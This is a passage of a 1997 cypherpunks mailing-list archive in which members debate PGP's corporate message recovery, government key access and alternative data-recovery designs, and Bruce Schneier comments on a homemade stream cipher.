all long-term data at Zooko's Backup Server, encrypted in such
a way that some combination of corporate keys (controlled by 
individual employees and/or departments) is necessary to 
decrypt each package of data.  This would open the door, as you
fear, for a government to mandate that _its_ key be added to 
each set, with authority to open any package even without the 
cooperation of any corporate keys.


I'm not sure how to weigh the relative risks and benefits.  
I (ever so humbly) think that Zooko's Backup Server would be a
great value for businesses, and that part of that value would
be the ability to make data unlockable by various keys, both
for administrative/internal security purposes and for 
robustness against accidents and saboteurs.


Zooko's Backup Server can be physically located in a country 
free of such intrusive organizations, but of course it is the
intrusive organizations of the _client's_ country that become
important with that kind of protocol...


Regards,

Zooko

P.S.  There is already a company whose name I have forgotten 
that offers hard-drive backups over TCP/IP.  They use some 
encryption but I don't know how strong.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: semprini@theschool.com
Date: Wed, 15 Oct 1997 05:14:57 +0800
To: cypherpunks@toad.com
Subject: Re: Encyrption Program
Message-ID: <199710141958.MAA22050@k2.brigadoon.com>
MIME-Version: 1.0
Content-Type: text/plain



This is in response to the several posts regarding the assumed 
weakness in the program I wrote:

    While it is true that PRNG's are not very good, because of the 
inherent lattice structure, I believe I found a way around that 
problem. To work around the lattice problem, I used a systm of cubic 
arrays. The program first creates sixteen cubic arrays, and fills 
them one space at a time with random characters. When the stream of 
characters to be XORed with the plaintext is generated, it picks a 
random cube and a random location with that cube. The resulting 
"random" character is then XORed with the appropriate character of 
the plaintext. If someone can prove to me that this method is stupid 
or easily breakable, I would actually be happy. So, those of you bent 
on proving that I'm wrong, I heartily encourage you to do so. As I 
mentioned before, you can download both the compiled version *and* 
the source at "http://www.brigadoon.com/~semprini/3dmx". If you are 
having trouble reaching that site, e-mail me and I will send you a 
copy via e-mail.

    Thank you for your interest and criticisms. They have been 
helpful.

--Dylan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 15 Oct 1997 02:20:01 +0800
To: cypherpunks <cypherpunks@toad.com
Subject: Re: Security flaw in PGPverify of INN (fwd)
Message-ID: <Pine.SUN.3.96.971014141138.3010F-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain





=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================

---------- Forwarded message ----------
Date: Tue, 14 Oct 1997 17:34:11 +0200
From: Peter Simons <simons@RHEIN.DE>
To: BUGTRAQ@NETSPACE.ORG
Subject: Re: Security flaw in PGPverify of INN

-----BEGIN PGP SIGNED MESSAGE-----

I am replying to the "security problem" report in pgpverify written by
Lutz Donnerhacke, which has been delivered via several mailing lists,
including BUGTRAQ and Best-Of-Security. Normally I'd simply ignore
this article, but this is so breath-takingly ridiculous that I have to
set a few facts straight.

Lutz Donnerhacke <lutz@IKS-JENA.DE> wrote:

 > I was urged to send you the following information. I noticed CERT and tale
 > itself. But tale claims that the problem is not a problem of pgpverify, it's
 > a problem of some krauts trying to send checkgroups monthly using a bot.
 >
 > The checkgroups mentioned were send since a year. They do not include Date:
 > and Message-ID: because these values were not predictable by the human
 > signer and the bot does not know the passphrase to work with.
 >
 > In consequence there are checkgroups out there which can be resend at any
 > time causing a lot of trouble, because the signature is still valid even if
 > a new Message-ID: and Date: line are used.
 >
 > The obvious fix is to modify pgpverify to block such control messages.
 > ftp://ftp.iks-jena.de/pub/mitarb/lutz/ contains the necessary fixes.

This is plain bullshit. pgpverify is working just fine and there's no
security leak or malfunction in the script.

The real story behind this 'report' is as follows: Lutz is the
moderator for the german language de.* USENET hierarchy. One of his
duties is to send out regular checkgroups and other control messages.

What he did is that he didn't include the Message-Id and Date header
into the signature of the control messages that he posted. He only
signed headers like From and Subject. So he posted control messages
with incomplete signatures for maybe a year, until this was first
noticed and publicly addressed by Ralph Babel.

The problem with these control messages is that anybody is able to
re-post them with a new Message-Id and Date. Due to the correct PGP
signature, most INNs will simply execute them, thus deleting all
changes in the hierarchy since the checkgroups was posted originally.
While this is not a major problem, it certainly is a problem, as all
groups that have been created past a certain date can easily be
removed, etc...

When his mistake became public, he didn't stand up for it and created
a new key to start posting correct control messages, rendering the old
ones useless, he put the blame on Tale and his script instead.

So please don't believe this "security flaw". pgpverify is working
just fine and if the responsible person will use PGP correctly, there
is no problem at all.

        -peter

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1

iQCVAwUBNEORSw9HL1s0103BAQEgugP9FWJMNivNBqmJElzoQ6pXnwvS6QsbLjQG
YrwHzvcYY3CAR7R446gr/WeuxW1JI1t9+yql8TNSvHeEXAX+qgz/ZMCjcjgjg0Pe
j0BuVLBBfKuBoxGZDQybRybu3d5Xflqk07W9HjPP0tDtdkUcjndHr2J1Ea/J4zTd
QgGNNUoZDFM=
=brmw
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: alexlh@xs4all.nl
Date: Tue, 14 Oct 1997 20:21:43 +0800
To: Zooko Journeyman <zooko@xs4all.nl>
Subject: Re: commercial data recovery
In-Reply-To: <199710141053.MAA03610@xs1.xs4all.nl>
Message-ID: <Pine.SUN.3.93.971014140714.7399A-100000@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 14 Oct 1997, Zooko Journeyman wrote:

> Zooko's Backup Server can be physically located in a country 
> free of such intrusive organizations, but of course it is the
> intrusive organizations of the _client's_ country that become
> important with that kind of protocol...

How about also having Alex' Backup Server, and using some
shared-secret/whatever tech to ensure that you need to contents of _both_
servers to actually reconstruct the data. This would be a 'Distributed
Encrypted Backup Sysyem'.

This might make it very hard for anyone to access your data without your
knowledge/cooperation.

And if you use something like Onion Routers, it might even be quite
impossible for some lawenforcement agency to actually find out which one
of those encrypted files on the servers contains your backup.

Alex

---
I dabble in techno-house and sometimes,
I do that badass hip-hop thang...
But the F U N K gets me every time!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Wilhem <securnet@dsuper.net>
Date: Wed, 15 Oct 1997 02:43:14 +0800
To: cypherpunks@toad.com
Subject: Magic money
Message-ID: <3443B815.8A6B70AE@dsuper.net>
MIME-Version: 1.0
Content-Type: text/plain



Is the guy still around who wrote " Magic Money" and if so where can I
communicate with him?  Apparently his name is "Product
Cypher".



Thanks,


Eric Wilhem





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 15 Oct 1997 06:59:56 +0800
To: Adam Back <zooko@xs4all.nl
Subject: Just say "No" to key recovery concerns...keep OpenPGP pure
In-Reply-To: <199710141053.MAA03610@xs1.xs4all.nl>
Message-ID: <v03102800b06978017bc1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




I have an even simpler solution to the problem of how the OpenPGP committee
should solve the key recovery/message recovery/corporate/GAK problem: Don't.

Just decide and announce that neither plaintext nor key recovery will be
part of the OpenPGP spec. This is a cleaner and simpler approach, and the
functions of encryption are placed front and center.

(Let some other task force deal with building some kind of "OpenGAK" or
"OpenSnoopware" program!)

That is, OpenPGP need only worry about providing a robust, secure, etc.,
open standard for end-to-end encyption (communication) and local encryption
(storage). Don't try to solve the "disaster planning" problem ("Alice hit
by a truck") by building snoopware/escrow into the core cryptosystem, and
don't try to solve the snoopware ("What is Alice saying to Bob?") desires
of companies either.

For comparison, we certainly don't see the world's telecommunications
bodies, committees, and companies working on a "conversation recovery" mode
to make the job of enforcing the U.S. Digital Telephony and similar
wiretapping desires.

Dealing primarily with communication and file security is what PGP has
historically focussed on, in all versions from 1.0 to 5.0 (not counting the
anomaly of ViaCrypt). Sounds fine to me. The "mission" of PGP and other
public key cryptosystems (until now) has been to secure communications and
files, not to provide mechanisms for corporations to monitor
communications. (Disaster planning, for "what if Alice gets hit by a
truck?" scenarios, are of course handled by having Alice lock up her
private keys in her safe, or perhaps her department manager's safe,
whatever. This is a dangerous security flaw, if the key is released, but
has the advantage that it's a fairly conventional recovery approach, and is
not built into the cryptosystem itself. Trying to solve this problem, that
of "backup keys" or "spare keys" floating around, is not easy in any
case...OpenPGP would do well to just avoid the issue and let conventional
disaster planning measures deal with the problem.)

If corporations, agencies, governments, etc., want to have access to
Alice's files, to Alice's communications to Bob, this is really a file
managment and archiving strategy problem, not something OpenPGP has to
concern itself with.

Keep it Simple, Stupid. KISS. Often the simplest approach to dealing with
complex specifications and conflicting desires is to just ignore them.

Let Big Brother and Little Brother try to get snoopware deployed when
OpenPGP is widely available.

Whether PGP, Inc. will go along with this is unlikely, but this doesn't
change the reasons for keeping OpenPGP true to the original aims of PGP.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 14 Oct 1997 22:53:36 +0800
To: zooko@xs4all.nl
Subject: Re: commercial data recovery
In-Reply-To: <199710141053.MAA03610@xs1.xs4all.nl>
Message-ID: <199710141329.OAA02853@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Zooko Journeyman <zooko@xs4all.nl> writes:
> Adam, I applaud your effort to steer discourse toward 
> productive work re: GAK, CMR, CDR.  I haven't thought about 
> your idea enough to have a definite opinion, but at first blush
> it seems a promising strategy to design high-security and 
> forward-secrecy for communication but recovery/sharing features
> for stored data.

Thank you.  I would encourage others to read the proposal, and
provide criticisms of it.

> I wonder if it is too much early-days to start talking about
> advanced protocols e.g. secret-splitting in IETF-Open-PGP?  
> Probably so.  Better just punch out a standard with current
> tech...

I agree entirely.  The motivation for attempting to formalise the CDR
design principles, and for exploring designs which are non-GAK
compliant is based on these lines of reasoning, that we should:

1. Persuade PGP Inc that there are less GAK friendly ways of
   implementing data recovery

2. If that argument fails, and in the event that PGP were to try to
   influence the IETF OpenPGP forum to adopt any features relating to
   pgp5.5 GAK compliant functionality into the OpenPGP standard that we
   have an alternate proposal well enough thought through to compete
   with PGP's CMR proposal with sound technical arguments.

3. Of improving the state of the technology by working to include
   forward secrecy as much as possible into secure email messaging.
   This is a very effective method of giving the bird to the
   GAKkers, by purposefully destroying communications keys as soon as
   possible after the fact.  This is consistent with the CDR design
   goal: make the GAKkers job as difficult as possible.  Frustrating the
   GAKkers is a fun, morally satisfying activity.

> Hm.  What about the idea of storing your data remotely (for
> cost-efficiency, safety, etc.) using encryption to maintain 
> your privacy?  In that case, the distinction between comms and
> storage keys is blurred.  A company may choose to e.g. store 
> all long-term data at Zooko's Backup Server, encrypted in such
> a way that some combination of corporate keys (controlled by 
> individual employees and/or departments) is necessary to 
> decrypt each package of data.  This would open the door, as you
> fear, for a government to mandate that _its_ key be added to 
> each set, with authority to open any package even without the 
> cooperation of any corporate keys.

The application you describe has very interesting implications for the
CDR vs CMR debate.

I think that one way that you could implement remote backup in a way
which is sympathetic to CDR design principles like this:

- The communications security aspect could be acheived via the normal
  design for securing communications derived from the CDR design
  principles.  That is using short lived communications keys with no
  third party access to communications in transit without access to
  hard disks at either end.

- The data would be super-encrypted to the companies backup recovery
  storage key(s).

This technically violates the CDR design goal and principles of not
allowing third party access to communicated data, super encryption
doesn't negate this, it is just more structuring.

However, super-encryption does minimise the damage by preserving CDR
principle that recovery of data should require physical compromise of
one or both end points, which I think is an important principle, and
a useful property in this case.

This lesson leads to the corollary to the CDR principles that:

- if you can't keep to the principle of not transmitting data with third
  party recovery information attached,

that:

- super-encryption of the transmitted recoverable data can be
  used to at least preserve the requirement for one or both ends of
  the communication to be compromised to effect third party access.



But still, the remaining way that this system could be perverted would
be as you say for the GAKkers to demand to be one of the storage
accessors for the encrypted disk backup, and for the GAKkers to then
attempt to coerce the remote storage service provider to hand over the
ciphertext, or for the government to set themselves up as a central
provider of off site backup services.

The GAKkers desire for automatic access to communicated storage data
is frustrated to the maximal extent possible by those CDR design
principles we have managed to retain.  To achieve automated access the
GAKkers must start replacing software, and we have prevented automatic
snooping of our backup data whilst it is in communication, with
software we have fielded.

- CDR design principles do not prevent someone modifying software, but
  as we all know deployed systems are additional obstacles to overcome:
  they have to coerce some company in to implementing the new software
  with built in GAK, and they have to coerce everyone into replacing
  their existing software with this unpopular new software.

Widely deployed systems can be large obstacles.  The mess the US IRS
in with their millions of lines of hard to modify source attest to
this fact.

The IRS scenario has some lessons for us, for possible additional CDR
design principles:

- keep the source code out of reach of GAKkers so that they can not
  coerce us so easily to modify it.  Off shore backup might be useful;
  destroy the backup recovery key if GAK comes in.

- make systems non-interoperable where this does not interfere with
  functionality

- have mandatory GAK company contingency plans such as moving the
  company to Switzerland.

That first suggestion costs so much in the loss of user access to
source code to assure ourselves that there is no backdoor that we
probably can't employ it.  The other two look like sound principles to
me.


> Zooko's Backup Server can be physically located in a country 
> free of such intrusive organizations, but of course it is the
> intrusive organizations of the _client's_ country that become
> important with that kind of protocol...

One comfort which can be drawn from the above design using super
encryption inside a communications envelope protected with short lived
non-escrowed communication keys, is that the fielded software could
not be used as-is to prevent the practice of jurisdiction shopping.

Another comfort is that companies can, even if forbidden from using
offshore remote backup facilities, simply stop using remote backup
facilities at all, unless the GAKkers really go overboard and demand
that all citizen units will run this government remote backup software
to upload diffs of their disks to government run backup services.  I'm
sure they would love to do that, and charge you for the "service" too.

Also I expect there would be significant political hurdles for the
GAKkers to overcome in mandating government run remote backup services
for citizen units, or even for companies in our countries.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Smith <smith@securecomputing.com>
Date: Wed, 15 Oct 1997 05:21:13 +0800
To: Adam Back <ietf-open-pgp@imc.org
Subject: Re: proposal: commercial data recovery
In-Reply-To: <199710140937.KAA01187@server.test.net>
Message-ID: <v03007804b0697514e0e4@[172.17.1.150]>
MIME-Version: 1.0
Content-Type: text/plain



It should be clear by now that privacy is not the only security objective
sought by customers of information security products, nor even by all
customers of crypto products. Practical users rarely pursue privacy at all
costs, nor do they pursue accountability and traffic visibility at all
costs. Many must find a balance between two fundamentally conflicting goals.

Regarding the practical uses of e-mail key disclosure, let me include one
from the guard/firewall world that I haven't seen mentioned yet:

We've been shipping products since 1994 that scan the contents of e-mail
messages and reject contents that violate specified filtering criteria.
Sites use it to block importation of viruses or other inappropriate
attachments, and to block the export of improperly released information.
Most of these systems have been sold to the government and use the Message
Security Protocol to encrypt data. The system rejects messages that don't
contain an extra key so that the firewall can scan message contents.

This violates the assumed requirement that the contents of an e-mail
message must not be viewed by anyone except the message's author and
recipient.

However, it's a security trade-off that some organizations want to make for
certain applications.

PGP's key recovery protocol isn't the perfect solution, but it would help
resolve a big problem. To send mail through these systems, the users must
be trained to include the firewalls as message recipients -- this produces
a copy of the symmetric key encrypted with the firewalls' individual PKs.
If a user forgets, then the message can not pass through. The PGP approach
of warning or demanding another PK token would help solve that problem at
least in simple cases.

ObPolitics: Personally, I think it's too soon to tell if PGP's
implementation would benefit the FBI in its pursuit of wiretapping keys. At
most it might resolve whether such mechanisms are in fact a practical
technology. I'm not yet convinced.

Also, if commercial sites have already co-opted PGP's recovery key for
their own uses, it's not clear that the FBI will be able to use it for
clandestine investigations. If they approach the site's IS managers to
acquire copies of the firewall keys, there's a good chance a rumor will get
back to the people being targeted for surveillance. Also, I believe the
overhead for separate eavesdropping keys would produce too clear a sign to
everyone that the FBI is listening. There is no precendent for such a thing
and even if it's adopted temporarily I doubt it will persist. People will
notice, it it will make them mad -- it will show them that the FBI is
indeed under everyones' bed. Even the FBI can't stand up against broadly
based grassroots pressure. Of course, I've been wrong before about politics.

Rick.
smith@securecomputing.com           Secure Computing Corporation
"Internet Cryptography" now in bookstores http://www.visi.com/crypto/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Japhy Ryder <japhy@enteract.com>
Date: Wed, 15 Oct 1997 05:36:26 +0800
To: cypherpunks@toad.com
Subject: CDL is here!! (fwd)
Message-ID: <199710142105.QAA08646@enteract.com>
MIME-Version: 1.0
Content-Type: text



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
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To: cypherpunks@toad.com
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Japhy Ryder <japhy@enteract.com>
Date: Wed, 15 Oct 1997 05:42:13 +0800
To: cypherpunks@toad.com
Subject: Cyber Promotions Selling Off Its Own Mailing List (fwd)
Message-ID: <199710142106.QAA08791@enteract.com>
MIME-Version: 1.0
Content-Type: text



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>From undeliver@pleaseread.com Mon Oct 13 20:24:07 1997
Message-Id: <199710140123.UAA09407@enteract.com>
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----- End of forwarded message from cyberout@pleaseread.com -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Japhy Ryder <japhy@enteract.com>
Date: Wed, 15 Oct 1997 05:36:39 +0800
To: cypherpunks@toad.com
Subject: Hi from the Girls...... (fwd)
Message-ID: <199710142106.QAA08859@enteract.com>
MIME-Version: 1.0
Content-Type: text



----- Forwarded message from 36568300@18565.com -----

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From: 36568300@18565.com
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----- End of forwarded message from 36568300@18565.com -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Wed, 15 Oct 1997 08:06:52 +0800
To: cypherpunks-unedited@toad.com
Subject: New Mailing List:  Terrorism
Message-ID: <199710142348.QAA18574@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Sounds like some "civil rights oriented" EMS, fire, law enforcement,
intelligence community, etc people should join, and let the rest of us
know what they are doing...

	John

From: churton.budd@mediccom.org (Churton Budd)
Date: Sat, 11 Oct 1997 10:55:40 GMT

TERRORISM
---------
TERRORISM is intended for discussion about terrorism response and
prevention, including intelligence gathering and emergency responses.
Topics include weapons of mass destruction, suspicious activities,
educational and funding opportunities, politics, and response ideas.
TERRORISM is an open forum to EMS, fire, law enforcement, intelligence
community, disaster preparedness & response, and military personnel with
an interest in preventing and responding to terrorist incidents.  
Announcements about new educational opportunities and grants are
welcome, as are new products, services, or technologies directly related
to terrorism response. 
Listname: terrorism
Post to: terrorism@mediccom.org
subscription command:  subscribe terrorism
                       sent to:  listserv@mediccom.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 15 Oct 1997 08:20:24 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Just say "No" to key recovery concerns...keep OpenPGP pure
In-Reply-To: <v03102800b06978017bc1@[207.167.93.63]>
Message-ID: <v03102802b069b6dc2f4a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:48 PM -0700 10/14/97, Lucky Green wrote:
>On Tue, 14 Oct 1997, Tim May wrote:
>> (Disaster planning, for "what if Alice gets hit by a
>> truck?" scenarios, are of course handled by having Alice lock up her
>> private keys in her safe, or perhaps her department manager's safe,
>> whatever. This is a dangerous security flaw, if the key is released, but
>> has the advantage that it's a fairly conventional recovery approach, and is
>> not built into the cryptosystem itself.
>
>Tim,
>The system above you are proposing is [C,G]AK, plain and simple. This is
>what some companies are doing already. And it is a Bad Thing.

Maybe it's a bad thing, maybe it's not. But at least it isn't built into
the cryptosystem itself. (As noted, building it into the infrastructure is
very dangerous.)

(Personally, I keep a diskette containing a copy of my secret keys, and a
"hint message to myself" reminding me of my passphrases, in a Safe Place
(tm). If I had a lawyer, I might seal an envelope with such a diskette in
it and ask him to hold it for me. And if I had a company, I might insist
that employees using crypto as part of their everyday jobs make similar
arrangements. Such has it always been with crypto, right?)

Building the options into a cryptosystem make it entirely too easy to
government to mandate GMR (Government Message Recovery).

>[Sidetrack: which is of course why PGP had to find another solution to
>present to those customers already using GAK. IMHO, and I can't help but
>be a bit surprised that I find myself in the minority on this
>issue, at least as far as the list is concerned. What PGP did was
>_elegant_.]

No, PGP Inc. did not "have" to do anything. Any more than Schlage Locks has
to develop a strategy for dealing with customers who leave spare keys under
rocks, or with their neighbors, etc. Or that telephone switch companies
have to develop a strategy for delivering phone surveillance products, even
though some companies make it a practice to monitor or snoop on employee
calls.

You are a minority for the reasons Phil Zimmermann, Bruce Schneier, Peter
Trei, and many other people have expressed: what the New PGP Inc. is doing
is not in keeping with the personal privacy goals formerly espoused.

And as Schneier noted yesterday, the support by PGP for "message recovery"
is already being used by Congress as an arguing point that it is indeed
practical and should be made mandatory.

Snooware is snoopware. PGP should stay out of this can of worms.

(I can't resist another possible parallel. It's a fact that some companies
use video surveillance, and microphones, to monitor employees. For drug
use, for theft of produced goods, etc. And this is usually legal, except in
some circumstances (restrooms, break rooms, and so forth).  So, suppose a
CRT maker decided to "meet this need" for employee surveillance by building
a small video camera into each of its "Monitors for Monitors" line of CRTs?
Would you still say that this is _elegant_? Me, I'd harshly criticize the
company making the monitors, not because it is illegal, but because
building in a surveillance state infrastructure is very dangerous and even
immoral.)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Omegaman <omegam@COMMUNIQUE.NET>
Date: Wed, 15 Oct 1997 06:51:33 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: PGP CAKware & IETF controlled Open-PGP standard
In-Reply-To: <v03102811b066e38f4fd0@[205.180.136.41]>
Message-ID: <199710142232.RAA21399@sakaki.communique.net>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back writes:
 > Jonathan Seybold <jseybold@pgp.com> writes:
 > > Adam, one aspect of your suggestion puzzles me:
 > > 	One thing which concerns me most is KNOWING when a message I send
 > > (or receive) could be read by someone else. The PGP CMR scheme makes this
 > > very clear: if there is an extra CMR key, the message may be read by
 > > whomever controls that key, if not, only the recipient may decrypt the
 > > message.
 > > 	If, however, the message is secretly re-encrypted to a corporate
 > > storage key AFTER it is received, I will never know that.
 > 
 > You will if you mark the key with this information.

This is a straw man anyway.  You don't know this now.  Someone you are
communicating with could already be forwarding plaintext to a third
party unbeknownst to the sender.  

This is a "do you trust the recipient" issue.

 > What I _am_ arguing is that in designing systems to provide companies
 > with data recovery mechanisms that you should a) not weaken security
 > more than necessary, and b) that it would be nice if you used a method
 > which doesn't introduce GAK compliancy for communications keys.
 > 
 > I presented I think in plenty of detail an alternate mechanism which
 > is both non-GAK compliant, and more secure.  So what is the problem?
 > Is there a technical flaw in my solution?

No.  But there is in their's(PGP Inc.) as I think you and others have
amply demonstrated.  The technical issues alone are enough to reject
usage of PGP5.5's CMR features.

It intrigues me that there has been virtual silence from PGP employees
on the technical issues.  Only Hal Finney via the IETF-Open-PGP has come
anywhere near commenting upon this.  I haven't seen anyone from PGP
Inc. comment on your data-recovery implementation ideas.  

In my optimistic moments, I take this as a sign that internally, PGP
inc. is giving consideration to producting more sensible and effective
solutions.  (Maybe even as outlined here)

 > > 	This means, I believe, that they should NEVER INVOLVE HIDDEN BACK
 > > DOORS THAT USERS ARE NOT AWARE OF.
 > 
 > Agreed.  You can flag backdoors with either solution.

See above.  The prescence of flags does not prevent this.  By
definition I might add ;).  Trust issues, etc. are involved.

 > It works well enough, but it could be made much more secure, by
 > separating storage key functionality from transient message key
 > functionality.  This would also give you the chance to resolve the
 > articificially created need for GAK compliancy, which arises because
 > you are being forced by this lack of distinction between key
 > functionalities to use one key for both long term storage and what
 > should be transient communications key usage.

Hal Finney's description of key sttributes indicate that implementing
separate storage keys would not be hard for PGP Inc to implement in
the next release.  

 > Decentralised control is good, of course, but the pgp5.5 and SMTP
 > policy enforcer is a ready to roll GAK system.  

Of course, other companies could have (and will) implement similar
systems.  That PGP, with it's reputation and stated policies, would is
surprising.  

Hopefully, PGP will live up to their reputation by realizing this
misstep and correcting it with a more secure, less GAK-compliant
implementation. 
 
 > The PGP bashing PGP observes is an attempt by the pro-privacy crypto
 > community to influence PGP to re-think the GAK compliancy, and to
 > point out the more secure way to implement corporate recovery of
 > stored email messages without GAK compliancy.
 > 
 > I reserve the right to bash any company which attempts to field GAK
 > compliant software.

The "bashing" in this notoriously harsh forum has been rather tender
in my view.

Perhaps the perception of "bashing" is based on recognition (and
guilt) that the CMR mechanism is flawed and goes against "the spirit
of PGP."  Methinks, y'all doth protest too much.
 
-- 
---------------------------------------------------------------------
Omegaman <mailto:omegam@cmq.com>|"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:"to get my public key  |   _London_Calling_ , 1980
---------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bruce Schneier <schneier@counterpane.com>
Date: Wed, 15 Oct 1997 07:28:56 +0800
To: cypherpunks@toad.com
Subject: Re: Encyrption Program
In-Reply-To: <199710141958.MAA22050@k2.brigadoon.com>
Message-ID: <v03007809b069aa614195@[209.98.13.239]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:58 PM -0500 10/14/97, semprini@theschool.com wrote:
>This is in response to the several posts regarding the assumed
>weakness in the program I wrote:
>
>    While it is true that PRNG's are not very good, because of the
>inherent lattice structure, I believe I found a way around that
>problem. To work around the lattice problem, I used a systm of cubic
>arrays. The program first creates sixteen cubic arrays, and fills
>them one space at a time with random characters. When the stream of
>characters to be XORed with the plaintext is generated, it picks a
>random cube and a random location with that cube. The resulting
>"random" character is then XORed with the appropriate character of
>the plaintext. If someone can prove to me that this method is stupid
>or easily breakable, I would actually be happy. So, those of you bent
>on proving that I'm wrong, I heartily encourage you to do so. As I
>mentioned before, you can download both the compiled version *and*
>the source at "http://www.brigadoon.com/~semprini/3dmx". If you are
>having trouble reaching that site, e-mail me and I will send you a
>copy via e-mail.

Good luck, but be aware that you won't get much free analysis.  In
general, algorithms that aren't published don't get looked at very
carefully (mostly because there's no real upside in doing so--at least
if the algorithm is published you can get a paper out of a break).

You might have more luck if you posted the algorthm (not in source
code, but in a mathematical description) along with a comprehensive
analysis of its security against existing attacks.  (There is a lot
of published research on the analysis of stream ciphers, although the
field is much less well-studied than block cipher analysis.)  Good
security arguments, proofs even, will make more people interested.

Cheers,
Bruce

**********************************************************************
Bruce Schneier, President, Counterpane Systems     Phone: 612-823-1098
101 E Minnehaha Parkway, Minneapolis,MN  55419       Fax: 612-823-1590
                                            http://www.counterpane.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: goddesshera@juno.com (Anonymous Remailer)
Date: Wed, 15 Oct 1997 09:14:30 +0800
To: cypherpunks@cyberpass.net
Subject: Re: proposal: commercial data recovery
Message-ID: <19971014.182212.13567.28.goddesshera@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Oct 14, 1997 at 10:37:21AM +0100, Adam Back wrote:
> 
> If we take the design goal of designing a commercial data recovery
> system which is not GAK compliant, we can most succinctly state this
> design goal as the task of ensuring that:

I take a certain sad pleasure in reminding people that among my first
posts on this list I warned that cypherpunks had better design a
commercial key recovery system, or one they didn't like would be
forced down their throats.  Attila now spouts my line exactly, Adam is
busy designing (though he still can't bring himself to use the term
'key recovery', being meme-dominated as he is), and Tim nods
approvingly. 

Good luck, gentlemen -- you should have been doing this a year ago.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html



This message was automatically remailed. The sender is unknown, unlogged,
and nonreplyable. Send complaints and blocking requests to
<goddesshera@juno.com>.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 15 Oct 1997 01:23:21 +0800
To: cypherpunks@cyberpass.net
Subject: Australian Key Escrow Bill Before Parliament for VPNs
Message-ID: <199710141708.TAA17940@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




------- Forwarded Message

Date: Tue, 14 Oct 1997 17:08:36 +1000
From: Paul Montgomery <monty@apnpc.com.au>
Subject: [Oz-ISP] Interception law IS a threat to ISPs

A couple of ISPs in messages under the "Interception" heading have
pooh-poohed the new interception law that is going through government
processes at the moment. FYI, the following PC Week Australia story
shows that it's not something to be sneezed at, if you want to
differentiate yourself by offering remote access or VPN services that
are secured using encryption. As mentioned in the story, Telstra,
OzEmail, Access One, Connect.com.au and Magna Data are only the largest
of growing band of ISPs who are already constructing VPNs for business
customers.

It's going to take more than an a packet sniffer to decrypt secure
